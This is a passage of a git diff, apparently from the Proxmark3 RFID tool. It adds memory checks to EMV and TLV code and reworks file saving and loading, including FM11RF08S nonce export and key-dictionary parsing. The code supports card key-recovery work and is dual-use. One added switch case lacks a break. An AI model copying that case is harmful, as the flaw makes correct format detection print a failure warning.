free(iccpk_data); + return 1; + } memcpy(iccpk_pk, iccpk_data + 21, /*iccpk_data_len - 36*/iccpk_pk_len); /*memcpy(iccpk_pk + iccpk_data_len - 36, icc_rem, sizeof(icc_rem));*/ diff --git a/client/src/emv/test/dda_test.c b/client/src/emv/test/dda_test.c index fe7991849..a5f4f61fc 100644 --- a/client/src/emv/test/dda_test.c +++ b/client/src/emv/test/dda_test.c @@ -170,6 +170,10 @@ static int dda_test_raw(bool verbose) { size_t ipk_pk_len = ipk_data[13]; unsigned char *ipk_pk = calloc(1, ipk_pk_len); + if (!ipk_pk) { + free(ipk_data); + return 1; + } memcpy(ipk_pk, ipk_data + 15, ipk_data_len - 36); memcpy(ipk_pk + ipk_data_len - 36, d_issuer_rem, sizeof(d_issuer_rem)); @@ -229,6 +233,10 @@ static int dda_test_raw(bool verbose) { size_t iccpk_pk_len = iccpk_data[19]; unsigned char *iccpk_pk = calloc(1, iccpk_pk_len); + if (!iccpk_pk) { + free(iccpk_data); + return 1; + } memcpy(iccpk_pk, iccpk_data + 21, /*iccpk_data_len - 36*/iccpk_pk_len); /*memcpy(iccpk_pk + iccpk_data_len - 36, icc_rem, sizeof(icc_rem));*/ diff --git a/client/src/emv/test/sda_test.c b/client/src/emv/test/sda_test.c index f8abad8da..b16a1e0b7 100644 --- a/client/src/emv/test/sda_test.c +++ b/client/src/emv/test/sda_test.c @@ -132,6 +132,10 @@ static int sda_test_raw(bool verbose) { size_t ipk_pk_len = ipk_data[13]; unsigned char *ipk_pk = calloc(1, ipk_pk_len); + if (!ipk_pk) { + free(ipk_data); + return 1; + } memcpy(ipk_pk, ipk_data + 15, ipk_data_len - 36); memcpy(ipk_pk + ipk_data_len - 36, issuer_rem, sizeof(issuer_rem)); diff --git a/client/src/emv/tlv.c b/client/src/emv/tlv.c index 737300fe0..870e64b7a 100644 --- a/client/src/emv/tlv.c +++ b/client/src/emv/tlv.c @@ -94,6 +94,9 @@ static size_t tlv_parse_len(const unsigned char **buf, size_t *len) { } bool tlv_parse_tl(const unsigned char **buf, size_t *len, struct tlv *tlv) { + if (tlv == NULL) { + return false; + } tlv->value = 0; tlv->tag = tlv_parse_tag(buf, len); @@ -113,6 +116,9 @@ static bool tlvdb_parse_one(struct tlvdb *tlvdb, struct tlvdb *parent, const unsigned char **tmp, size_t *left) { + if (tlvdb == NULL) { + return false; + } tlvdb->next = tlvdb->children = NULL; tlvdb->parent = parent; @@ -147,12 +153,18 @@ err: } static struct tlvdb *tlvdb_parse_children(struct tlvdb *parent) { + if (parent == NULL) { + return NULL; + } const unsigned char *tmp = parent->tag.value; size_t left = parent->tag.len; struct tlvdb *tlvdb, *first = NULL, *prev = NULL; while (left != 0) { tlvdb = calloc(1, sizeof(*tlvdb)); + if (tlvdb == NULL) { + goto err; + } if (prev) prev->next = tlvdb; else @@ -182,6 +194,9 @@ struct tlvdb *tlvdb_parse(const unsigned char *buf, size_t len) { return NULL; root = calloc(1, sizeof(*root) + len); + if (root == NULL) { + return NULL; + } root->len = len; memcpy(root->buf, buf, len); @@ -277,6 +292,9 @@ bool tlvdb_parse_root_multi(struct tlvdb_root *root) { if (tlvdb_parse_one(&root->db, NULL, &tmp, &left) == true) { while (left > 0) { struct tlvdb *db = calloc(1, sizeof(*db)); + if (db == NULL) { + return false; + } if (tlvdb_parse_one(db, NULL, &tmp, &left) == true) { tlvdb_add(&root->db, db); } else { @@ -291,6 +309,9 @@ bool tlvdb_parse_root_multi(struct tlvdb_root *root) { struct tlvdb *tlvdb_fixed(tlv_tag_t tag, size_t len, const unsigned char *value) { struct tlvdb_root *root = calloc(1, sizeof(*root) + len); + if (root == NULL) { + return NULL; + } root->len = len; memcpy(root->buf, value, len); @@ -305,6 +326,9 @@ struct tlvdb *tlvdb_fixed(tlv_tag_t tag, size_t len, const unsigned char *value) struct tlvdb *tlvdb_external(tlv_tag_t tag, size_t len, const unsigned char *value) { struct tlvdb_root *root = calloc(1, sizeof(*root)); + if (root == NULL) { + return NULL; + } root->len = 0; @@ -606,19 +630,19 @@ bool tlv_equal(const struct tlv *a, const struct tlv *b) { return a->tag == b->tag && a->len == b->len && !memcmp(a->value, b->value, a->len); } -struct tlvdb *tlvdb_elm_get_next(struct tlvdb *tlvdb) { +struct tlvdb *tlvdb_elm_get_next(const struct tlvdb *tlvdb) { return tlvdb->next; } -struct tlvdb *tlvdb_elm_get_children(struct tlvdb *tlvdb) { +struct tlvdb *tlvdb_elm_get_children(const struct tlvdb *tlvdb) { return tlvdb->children; } -struct tlvdb *tlvdb_elm_get_parent(struct tlvdb *tlvdb) { +struct tlvdb *tlvdb_elm_get_parent(const struct tlvdb *tlvdb) { return tlvdb->parent; } -bool tlvdb_get_uint8(struct tlvdb *tlvRoot, tlv_tag_t tag, uint8_t *value) { +bool tlvdb_get_uint8(const struct tlvdb *tlvRoot, tlv_tag_t tag, uint8_t *value) { const struct tlv *tlvelm = tlvdb_get(tlvRoot, tag, NULL); return tlv_get_uint8(tlvelm, value); } diff --git a/client/src/emv/tlv.h b/client/src/emv/tlv.h index 2582066a9..f0e2adbc2 100644 --- a/client/src/emv/tlv.h +++ b/client/src/emv/tlv.h @@ -58,9 +58,9 @@ bool tlvdb_parse_root_multi(struct tlvdb_root *root); void tlvdb_free(struct tlvdb *tlvdb); void tlvdb_root_free(struct tlvdb_root *root); -struct tlvdb *tlvdb_elm_get_next(struct tlvdb *tlvdb); -struct tlvdb *tlvdb_elm_get_children(struct tlvdb *tlvdb); -struct tlvdb *tlvdb_elm_get_parent(struct tlvdb *tlvdb); +struct tlvdb *tlvdb_elm_get_next(const struct tlvdb *tlvdb); +struct tlvdb *tlvdb_elm_get_children(const struct tlvdb *tlvdb); +struct tlvdb *tlvdb_elm_get_parent(const struct tlvdb *tlvdb); struct tlvdb *tlvdb_find_full(struct tlvdb *tlvdb, tlv_tag_t tag); // search also in childrens struct tlvdb *tlvdb_find(struct tlvdb *tlvdb, tlv_tag_t tag); @@ -84,6 +84,6 @@ bool tlv_equal(const struct tlv *a, const struct tlv *b); bool tlv_get_uint8(const struct tlv *etlv, uint8_t *value); bool tlv_get_int(const struct tlv *etlv, int *value); -bool tlvdb_get_uint8(struct tlvdb *tlvRoot, tlv_tag_t tag, uint8_t *value); +bool tlvdb_get_uint8(const struct tlvdb *tlvRoot, tlv_tag_t tag, uint8_t *value); #endif diff --git a/client/src/fileutils.c b/client/src/fileutils.c index a28ec1cfd..1cbe50fba 100644 --- a/client/src/fileutils.c +++ b/client/src/fileutils.c @@ -72,9 +72,7 @@ DumpFileType_t get_filetype(const char *filename) { size_t len = strlen(filename); if (len > 4) { // check if valid file extension and attempt to load data - char s[FILE_PATH_SIZE]; - memset(s, 0, sizeof(s)); - memcpy(s, filename, len); + char *s = str_dup(filename); str_lower(s); if (str_endswith(s, "bin")) { @@ -91,12 +89,16 @@ DumpFileType_t get_filetype(const char *filename) { o = FLIPPER; } else if (str_endswith(s, "picopass")) { o = FLIPPER; + } else if (str_endswith(s, "xml")) { + o = TAGINFO; } else { // mfd, trc, trace is binary o = BIN; // log is text // .pm3 is text values of signal data } + + free(s); } return o; } @@ -165,6 +167,7 @@ static char *filenamemcopy(const char *preferredName, const char *suffix) { char *fileName = (char *) calloc(strlen(preferredName) + strlen(suffix) + 1, sizeof(uint8_t)); if (fileName == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return NULL; } @@ -261,12 +264,14 @@ void truncate_filename(char *fn, uint16_t maxlen) { // --------- SAVE FILES int saveFile(const char *preferredName, const char *suffix, const void *data, size_t datalen) { - + return saveFileEx(preferredName, suffix, data, datalen, spDefault); +} +int saveFileEx(const char *preferredName, const char *suffix, const void *data, size_t datalen, savePaths_t e_save_path) { if (data == NULL || datalen == 0) { return PM3_EINVARG; } - char *fileName = newfilenamemcopy(preferredName, suffix); + char *fileName = newfilenamemcopyEx(preferredName, suffix, e_save_path); if (fileName == NULL) { return PM3_EMALLOC; } @@ -275,7 +280,7 @@ int saveFile(const char *preferredName, const char *suffix, const void *data, si // Opening file for writing in binary mode FILE *f = fopen(fileName, "wb"); - if (!f) { + if (f == NULL) { PrintAndLogEx(WARNING, "file not found or locked `" _YELLOW_("%s") "`", fileName); free(fileName); return PM3_EFILE; @@ -288,22 +293,42 @@ int saveFile(const char *preferredName, const char *suffix, const void *data, si return PM3_SUCCESS; } -// dump file (normally, we also got preference file, etc) -int saveFileJSON(const char *preferredName, JSONFileType ftype, uint8_t *data, size_t datalen, void (*callback)(json_t *)) { - return saveFileJSONex(preferredName, ftype, data, datalen, true, callback, spDump); -} -int saveFileJSONex(const char *preferredName, JSONFileType ftype, uint8_t *data, size_t datalen, bool verbose, void (*callback)(json_t *), savePaths_t e_save_path) { +int saveFileTXT(const char *preferredName, const char *suffix, const void *data, size_t datalen, savePaths_t e_save_path) { + if (data == NULL || datalen == 0) { + return PM3_EINVARG; + } + char *fileName = newfilenamemcopyEx(preferredName, suffix, e_save_path); + if (fileName == NULL) { + return PM3_EMALLOC; + } + + // We should have a valid filename now, e.g. dumpdata-3.txt + + // Opening file for writing in text mode + FILE *f = fopen(fileName, "w"); + if (f == NULL) { + PrintAndLogEx(WARNING, "file not found or locked `" _YELLOW_("%s") "`", fileName); + free(fileName); + return PM3_EFILE; + } + fwrite(data, 1, datalen, f); + fflush(f); + fclose(f); + PrintAndLogEx(SUCCESS, "Saved " _YELLOW_("%zu") " bytes to text file `" _YELLOW_("%s") "`", datalen, fileName); + free(fileName); + return PM3_SUCCESS; +} + +int prepareJSON(json_t *root, JSONFileType ftype, uint8_t *data, size_t datalen, bool verbose, void (*callback)(json_t *)) { if (ftype != jsfCustom) { if (data == NULL || datalen == 0) { return PM3_EINVARG; } } - int retval = PM3_SUCCESS; char path[PATH_MAX_LENGTH] = {0}; - json_t *root = json_object(); JsonSaveStr(root, "Created", "proxmark3"); switch (ftype) { case jsfRaw: { @@ -712,6 +737,52 @@ int saveFileJSONex(const char *preferredName, JSONFileType ftype, uint8_t *data, } break; } + case jsfFM11RF08SNonces: + case jsfFM11RF08SNoncesWithData: { + if (datalen != sizeof(iso14a_fm11rf08s_nonces_with_data_t)) { + return PM3_EINVARG; + } + iso14a_fm11rf08s_nonces_with_data_t *p = (iso14a_fm11rf08s_nonces_with_data_t *)data; + if (ftype == jsfFM11RF08SNoncesWithData) { + JsonSaveStr(root, "FileType", "fm11rf08s_nonces_with_data"); + } else { + JsonSaveStr(root, "FileType", "fm11rf08s_nonces"); + } + for (uint16_t sec = 0; sec < MIFARE_1K_MAXSECTOR + 1; sec++) { + uint8_t par2[2]; + uint8_t par; + uint16_t real_sec = sec; + if (sec == MIFARE_1K_MAXSECTOR) { + real_sec = 32; // advanced verification method block + } + snprintf(path, sizeof(path), "$.nt.%u.a", real_sec); + JsonSaveBufAsHexCompact(root, path, p->nt[sec][0], 4); + snprintf(path, sizeof(path), "$.nt.%u.b", real_sec); + JsonSaveBufAsHexCompact(root, path, p->nt[sec][1], 4); + snprintf(path, sizeof(path), "$.nt_enc.%u.a", real_sec); + JsonSaveBufAsHexCompact(root, path, p->nt_enc[sec][0], 4); + snprintf(path, sizeof(path), "$.nt_enc.%u.b", real_sec); + JsonSaveBufAsHexCompact(root, path, p->nt_enc[sec][1], 4); + + snprintf(path, sizeof(path), "$.par_err.%u.a", real_sec); + par = p->par_err[sec][0]; + par2[0] = (((par >> 3) & 1) << 4) | ((par >> 2) & 1); + par2[1] = (((par >> 1) & 1) << 4) | ((par >> 0) & 1); + JsonSaveBufAsHexCompact(root, path, par2, 2); + snprintf(path, sizeof(path), "$.par_err.%u.b", real_sec); + par = p->par_err[sec][1]; + par2[0] = (((par >> 3) & 1) << 4) | ((par >> 2) & 1); + par2[1] = (((par >> 1) & 1) << 4) | ((par >> 0) & 1); + JsonSaveBufAsHexCompact(root, path, par2, 2); + } + if (ftype == jsfFM11RF08SNoncesWithData) { + for (uint16_t blk = 0; blk < MIFARE_1K_MAXBLOCK; blk++) { + snprintf(path, sizeof(path), "$.blocks.%u", blk); + JsonSaveBufAsHexCompact(root, path, p->blocks[blk], MFBLOCK_SIZE); + } + } + break; + } // no action case jsfFido: break; @@ -725,40 +796,42 @@ int saveFileJSONex(const char *preferredName, JSONFileType ftype, uint8_t *data, default: break; } + return PM3_SUCCESS; +} - char *fn = newfilenamemcopyEx(preferredName, ".json", e_save_path); - if (fn == NULL) { - return PM3_EMALLOC; +// dump file (normally, we also got preference file, etc) +int saveFileJSON(const char *preferredName, JSONFileType ftype, uint8_t *data, size_t datalen, void (*callback)(json_t *)) { + return saveFileJSONex(preferredName, ftype, data, datalen, true, callback, spDump); +} + +int saveFileJSONex(const char *preferredName, JSONFileType ftype, uint8_t *data, size_t datalen, bool verbose, void (*callback)(json_t *), savePaths_t e_save_path) { + + int retval = PM3_SUCCESS; + + json_t *root = json_object(); + retval = prepareJSON(root, ftype, data, datalen, verbose, callback); + if (retval != PM3_SUCCESS) { + return retval; } - - if (json_dump_file(root, fn, JSON_INDENT(2))) { - PrintAndLogEx(FAILED, "error, can't save the file `" _YELLOW_("%s") "`", fn); - retval = 200; - free(fn); - goto out; - } - - if (verbose) { - PrintAndLogEx(SUCCESS, "Saved to json file `" _YELLOW_("%s") "`", fn); - } - free(fn); - -out: + retval = saveFileJSONrootEx(preferredName, root, JSON_INDENT(2), verbose, false, e_save_path); json_decref(root); return retval; } + int saveFileJSONroot(const char *preferredName, void *root, size_t flags, bool verbose) { - return saveFileJSONrootEx(preferredName, root, flags, verbose, false); + return saveFileJSONrootEx(preferredName, root, flags, verbose, false, spDump); } -int saveFileJSONrootEx(const char *preferredName, const void *root, size_t flags, bool verbose, bool overwrite) { - if (root == NULL) + +int saveFileJSONrootEx(const char *preferredName, const void *root, size_t flags, bool verbose, bool overwrite, savePaths_t e_save_path) { + if (root == NULL) { return PM3_EINVARG; + } char *filename = NULL; if (overwrite) filename = filenamemcopy(preferredName, ".json"); else - filename = newfilenamemcopyEx(preferredName, ".json", spDump); + filename = newfilenamemcopyEx(preferredName, ".json", e_save_path); if (filename == NULL) return PM3_EMALLOC; @@ -778,6 +851,17 @@ int saveFileJSONrootEx(const char *preferredName, const void *root, size_t flags return PM3_EFILE; } +char *sprintJSON(JSONFileType ftype, uint8_t *data, size_t datalen, bool verbose, void (*callback)(json_t *)) { + + json_t *root = json_object(); + if (prepareJSON(root, ftype, data, datalen, verbose, callback) != PM3_SUCCESS) { + return NULL; + } + char *s = json_dumps(root, JSON_INDENT(2)); + json_decref(root); + return s; +} + // wave file of trace, int saveFileWAVE(const char *preferredName, const int *data, size_t datalen) { @@ -893,7 +977,7 @@ int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, const sector } for (int i = 0; i < sectorsCnt; i++) { - if (e_sector[i].foundKey[0]) + if (e_sector[i].foundKey[1]) num_to_bytes(e_sector[i].Key[1], sizeof(tmp), tmp); else memcpy(tmp, empty, sizeof(tmp)); @@ -921,7 +1005,7 @@ int loadFile_safeEx(const char *preferredName, const char *suffix, void **pdata, } FILE *f = fopen(path, "rb"); - if (!f) { + if (f == NULL) { PrintAndLogEx(WARNING, "file not found or locked `" _YELLOW_("%s") "`", path); free(path); return PM3_EFILE; @@ -940,8 +1024,8 @@ int loadFile_safeEx(const char *preferredName, const char *suffix, void **pdata, } *pdata = calloc(fsize, sizeof(uint8_t)); - if (!*pdata) { - PrintAndLogEx(FAILED, "error, cannot allocate memory"); + if (*pdata == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); fclose(f); return PM3_EMALLOC; } @@ -964,6 +1048,58 @@ int loadFile_safeEx(const char *preferredName, const char *suffix, void **pdata, return PM3_SUCCESS; } +int loadFile_TXTsafe(const char *preferredName, const char *suffix, void **pdata, size_t *datalen, bool verbose) { + + char *path; + int res = searchFile(&path, RESOURCES_SUBDIR, preferredName, suffix, false); + if (res != PM3_SUCCESS) { + return PM3_EFILE; + } + + FILE *f = fopen(path, "r"); + if (f == NULL) { + PrintAndLogEx(WARNING, "file not found or locked `" _YELLOW_("%s") "`", path); + free(path); + return PM3_EFILE; + } + free(path); + + // get filesize in order to malloc memory + fseek(f, 0, SEEK_END); + long fsize = ftell(f); + fseek(f, 0, SEEK_SET); + + if (fsize <= 0) { + PrintAndLogEx(FAILED, "error, when getting filesize"); + fclose(f); + return PM3_EFILE; + } + + *pdata = calloc(fsize, sizeof(uint8_t)); + if (*pdata == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + fclose(f); + return PM3_EMALLOC; + } + + size_t bytes_read = fread(*pdata, 1, fsize, f); + + fclose(f); + + if (bytes_read != fsize) { + PrintAndLogEx(FAILED, "error, bytes read mismatch file size"); + free(*pdata); + return PM3_EFILE; + } + + *datalen = bytes_read; + + if (verbose) { + PrintAndLogEx(SUCCESS, "Loaded " _YELLOW_("%zu") " bytes from text file `" _YELLOW_("%s") "`", bytes_read, preferredName); + } + return PM3_SUCCESS; +} + int loadFileEML_safe(const char *preferredName, void **pdata, size_t *datalen) { char *path; int res = searchFile(&path, RESOURCES_SUBDIR, preferredName, "", false); @@ -991,8 +1127,8 @@ int loadFileEML_safe(const char *preferredName, void **pdata, size_t *datalen) { } *pdata = calloc(fsize, sizeof(uint8_t)); - if (!*pdata) { - PrintAndLogEx(FAILED, "error, cannot allocate memory"); + if (*pdata == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); fclose(f); return PM3_EMALLOC; } @@ -1038,6 +1174,7 @@ int loadFileEML_safe(const char *preferredName, void **pdata, size_t *datalen) { uint8_t *newdump = realloc(*pdata, counter); if (newdump == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(*pdata); return PM3_EMALLOC; } else { @@ -1052,7 +1189,9 @@ int loadFileEML_safe(const char *preferredName, void **pdata, size_t *datalen) { int loadFileNFC_safe(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, nfc_df_e ft) { - if (data == NULL) return PM3_EINVARG; + if (data == NULL) { + return PM3_EINVARG; + } *datalen = 0; int retval = PM3_SUCCESS; @@ -1064,7 +1203,7 @@ int loadFileNFC_safe(const char *preferredName, void *data, size_t maxdatalen, s } FILE *f = fopen(path, "r"); - if (!f) { + if (f == NULL) { PrintAndLogEx(WARNING, "file not found or locked `" _YELLOW_("%s") "`", path); free(path); return PM3_EFILE; @@ -1084,16 +1223,17 @@ int loadFileNFC_safe(const char *preferredName, void *data, size_t maxdatalen, s memset(line, 0, sizeof(line)); if (fgets(line, sizeof(line), f) == NULL) { - if (feof(f)) + if (feof(f)) { break; - + } fclose(f); PrintAndLogEx(FAILED, "file reading error"); return PM3_EFILE; } - if (line[0] == '#') + if (line[0] == '#') { continue; + } str_cleanrn(line, sizeof(line)); str_lower(line); @@ -1310,8 +1450,8 @@ int loadFileMCT_safe(const char *preferredName, void **pdata, size_t *datalen) { } *pdata = calloc(fsize, sizeof(uint8_t)); - if (!*pdata) { - PrintAndLogEx(FAILED, "error, cannot allocate memory"); + if (*pdata == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); fclose(f); return PM3_EMALLOC; } @@ -1358,6 +1498,7 @@ int loadFileMCT_safe(const char *preferredName, void **pdata, size_t *datalen) { uint8_t *newdump = realloc(*pdata, counter); if (newdump == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(*pdata); return PM3_EMALLOC; } else { @@ -1387,7 +1528,9 @@ int loadFileJSON(const char *preferredName, void *data, size_t maxdatalen, size_ } int loadFileJSONex(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, bool verbose, void (*callback)(json_t *)) { - if (data == NULL) return PM3_EINVARG; + if (data == NULL) { + return PM3_EINVARG; + } *datalen = 0; int retval = PM3_SUCCESS; @@ -2162,6 +2305,8 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u return loadFileDICTIONARYEx(preferredName, data, 0, datalen, keylen, keycnt, 0, NULL, true); } +// this function handles exceptional large dictionaries, +// using start position and end position parameters. int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint32_t *keycnt, size_t startFilePosition, size_t *endFilePosition, bool verbose) { @@ -2187,17 +2332,17 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale int retval = PM3_SUCCESS; FILE *f = fopen(path, "r"); - if (!f) { + if (f == NULL) { PrintAndLogEx(WARNING, "file not found or locked `" _YELLOW_("%s") "`", path); - retval = PM3_EFILE; - goto out; + free(path); + return PM3_EFILE; } if (startFilePosition) { if (fseek(f, startFilePosition, SEEK_SET) < 0) { fclose(f); - retval = PM3_EFILE; - goto out; + free(path); + return PM3_EFILE; } } @@ -2205,6 +2350,7 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale // read file while (!feof(f)) { + long filepos = ftell(f); if (!fgets(line, sizeof(line), f)) { @@ -2262,17 +2408,22 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale if (keycnt) { *keycnt = vkeycnt; } -out: + free(path); return retval; } + int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t keylen, uint32_t *keycnt) { + return loadFileDICTIONARY_safe_ex(preferredName, ".dic", pdata, keylen, keycnt, true); +} + +int loadFileDICTIONARY_safe_ex(const char *preferredName, const char *suffix, void **pdata, uint8_t keylen, uint32_t *keycnt, bool verbose) { int retval = PM3_SUCCESS; char *path; - if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) { + if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, suffix, false) != PM3_SUCCESS) { return PM3_EFILE; } @@ -2282,12 +2433,11 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key // mf desfire == 3des3k 24 bytes // iclass == 8 bytes // default to 6 bytes. - if (keylen != 4 && keylen != 6 && keylen != 8 && keylen != 16 && keylen != 24) { + if (keylen != 4 && keylen != 5 && keylen != 6 && keylen != 8 && keylen != 12 && keylen != 16 && keylen != 24) { keylen = 6; } - size_t mem_size; - size_t block_size = 10 * keylen; + size_t block_size = 1000 * keylen; // double up since its chars keylen <<= 1; @@ -2297,13 +2447,14 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key // allocate some space for the dictionary *pdata = calloc(block_size, sizeof(uint8_t)); if (*pdata == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(path); return PM3_EFILE; } - mem_size = block_size; + size_t mem_size = block_size; FILE *f = fopen(path, "r"); - if (!f) { + if (f == NULL) { PrintAndLogEx(WARNING, "file not found or locked `" _YELLOW_("%s") "`", path); retval = PM3_EFILE; goto out; @@ -2316,9 +2467,10 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key if ((*keycnt * (keylen >> 1)) >= mem_size) { mem_size += block_size; - *pdata = realloc(*pdata, mem_size); + *pdata = realloc(*pdata, mem_size); if (*pdata == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); retval = PM3_EFILE; fclose(f); goto out; @@ -2327,27 +2479,42 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key } } - // add null terminator - line[keylen] = 0; + // The line start with # is comment, skip + if (line[0] == '#') { + continue; + } + + // remove newline/linefeed + str_cleanrn(line, strlen(line)); + str_trim(line); // smaller keys than expected is skipped if (strlen(line) < keylen) { continue; } - // The line start with # is comment, skip - if (line[0] == '#') { + char *pos = strstr(line, "#"); + if (pos) { + // we found a inline comment, add a null terminator, until we hit hexadecimal char + while (isxdigit(pos[0]) == 0) { + pos[0] = 0x00; + --pos; + } + } + + // larger keys than expected is skipped + if (strlen(line) > keylen) { + PrintAndLogEx(INFO, "too long line (%zu) ... %s", strlen(line), line); continue; } - if (!CheckStringIsHEXValue(line)) { + if (CheckStringIsHEXValue(line) == false) { continue; } - if (hex_to_bytes( - line, - (uint8_t *)*pdata + (*keycnt * (keylen >> 1)), - keylen >> 1) != (keylen >> 1)) { + int ret = hex_to_bytes(line, (uint8_t *)*pdata + (*keycnt * (keylen >> 1)), keylen >> 1); + if (ret != (keylen >> 1)) { + PrintAndLogEx(INFO, "hex to bytes wrong %i", ret); continue; } @@ -2357,23 +2524,25 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key } fclose(f); - PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%2d") " keys from dictionary file `" _YELLOW_("%s") "`", *keycnt, path); + if (verbose) { + PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%d") " keys from dictionary file `" _YELLOW_("%s") "`", *keycnt, path); + } out: free(path); return retval; } -int loadFileBinaryKey(const char *preferredName, const char *suffix, void **keya, void **keyb, size_t *alen, size_t *blen) { +int loadFileBinaryKey(const char *preferredName, const char *suffix, void **keya, void **keyb, size_t *alen, size_t *blen, bool verbose) { char *path; int res = searchFile(&path, RESOURCES_SUBDIR, preferredName, suffix, false); if (res != PM3_SUCCESS) { - return PM3_EFILE; + return PM3_ENOFILE; } FILE *f = fopen(path, "rb"); - if (!f) { + if (f == NULL) { PrintAndLogEx(WARNING, "file not found or locked `" _YELLOW_("%s") "`", path); free(path); return PM3_EFILE; @@ -2396,7 +2565,7 @@ int loadFileBinaryKey(const char *preferredName, const char *suffix, void **keya *keya = calloc(fsize, sizeof(uint8_t)); if (*keya == NULL) { - PrintAndLogEx(FAILED, "error, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); fclose(f); free(path); return PM3_EMALLOC; @@ -2406,7 +2575,7 @@ int loadFileBinaryKey(const char *preferredName, const char *suffix, void **keya *keyb = calloc(fsize, sizeof(uint8_t)); if (*keyb == NULL) { - PrintAndLogEx(FAILED, "error, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); fclose(f); free(*keya); free(path); @@ -2416,7 +2585,9 @@ int loadFileBinaryKey(const char *preferredName, const char *suffix, void **keya *blen = fread(*keyb, 1, fsize, f); fclose(f); - PrintAndLogEx(SUCCESS, "Loaded binary key file `" _YELLOW_("%s") "`", path); + if (verbose) { + PrintAndLogEx(SUCCESS, "Loaded binary key file `" _YELLOW_("%s") "`", path); + } free(path); return PM3_SUCCESS; } @@ -2491,7 +2662,7 @@ int detect_nfc_dump_format(const char *preferredName, nfc_df_e *dump_type, bool } FILE *f = fopen(path, "r"); - if (!f) { + if (f == NULL) { PrintAndLogEx(WARNING, "file not found or locked `" _YELLOW_("%s") "`", path); free(path); return PM3_EFILE; @@ -2542,6 +2713,10 @@ int detect_nfc_dump_format(const char *preferredName, nfc_df_e *dump_type, bool *dump_type = NFC_DF_14_4A; break; } + if (str_startswith(line, "device type: iso15693")) { + *dump_type = NFC_DF_15; + break; + } if (str_startswith(line, "filetype: flipper picopass device")) { *dump_type = NFC_DF_PICOPASS; break; @@ -2551,6 +2726,7 @@ int detect_nfc_dump_format(const char *preferredName, nfc_df_e *dump_type, bool fclose(f); if (verbose) { + switch (*dump_type) { case NFC_DF_MFU: PrintAndLogEx(INFO, "Detected MIFARE Ultralight / NTAG based dump format"); @@ -2573,6 +2749,8 @@ int detect_nfc_dump_format(const char *preferredName, nfc_df_e *dump_type, bool case NFC_DF_PICOPASS: PrintAndLogEx(INFO, "Detected PICOPASS based dump format"); break; + case NFC_DF_15: + PrintAndLogEx(INFO, "Detected ISO15693 based dump format"); case NFC_DF_UNKNOWN: PrintAndLogEx(WARNING, "Failed to detected dump format"); break; @@ -2585,6 +2763,7 @@ static int convert_plain_mfu_dump(uint8_t **dump, size_t *dumplen, bool verbose) mfu_dump_t *mfu = (mfu_dump_t *) calloc(sizeof(mfu_dump_t), sizeof(uint8_t)); if (mfu == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -2622,6 +2801,7 @@ static int convert_old_mfu_dump(uint8_t **dump, size_t *dumplen, bool verbose) { mfu_dump_t *mfu_dump = (mfu_dump_t *) calloc(sizeof(mfu_dump_t), sizeof(uint8_t)); if (mfu_dump == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -2768,6 +2948,7 @@ static int searchFinalFile(char **foundpath, const char *pm3dir, const char *sea // explicit absolute (/) or relative path (./) => try only to match it directly char *filename = calloc(strlen(searchname) + 1, sizeof(char)); if (filename == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -2953,18 +3134,22 @@ out: int searchFile(char **foundpath, const char *pm3dir, const char *searchname, const char *suffix, bool silent) { - if (foundpath == NULL) + if (foundpath == NULL) { return PM3_EINVARG; + } - if (searchname == NULL || strlen(searchname) == 0) + if (searchname == NULL || strlen(searchname) == 0) { return PM3_EINVARG; + } - if (is_directory(searchname)) + if (is_directory(searchname)) { return PM3_EINVARG; + } char *filename = filenamemcopy(searchname, suffix); - if (filename == NULL) + if (filename == NULL) { return PM3_EMALLOC; + } if (strlen(filename) == 0) { free(filename); @@ -2981,6 +3166,82 @@ int searchFile(char **foundpath, const char *pm3dir, const char *searchname, con return res; } +/** + * Inserts a line into a text file only if it does not already exist. + * Returns PM3_SUCCES or, PM3_EFILE; + * + * @param filepath Path to the file. + * @param line Line to insert (should not contain a trailing newline). + */ +int insert_line_if_not_exists(const char *preferredName, const char *keystr) { + + char *path; + int res = searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false); + if (res != PM3_SUCCESS) { + return PM3_EFILE; + } + + FILE *f = fopen(path, "r"); + if (f == NULL) { + PrintAndLogEx(WARNING, "file not found or locked `" _YELLOW_("%s") "`", path); + free(path); + return PM3_EFILE; + } + + // Maximum line length we assume (adjust as necessary for your use case) + char line[255]; + bool key_exists = false; + + char *keystrdup = 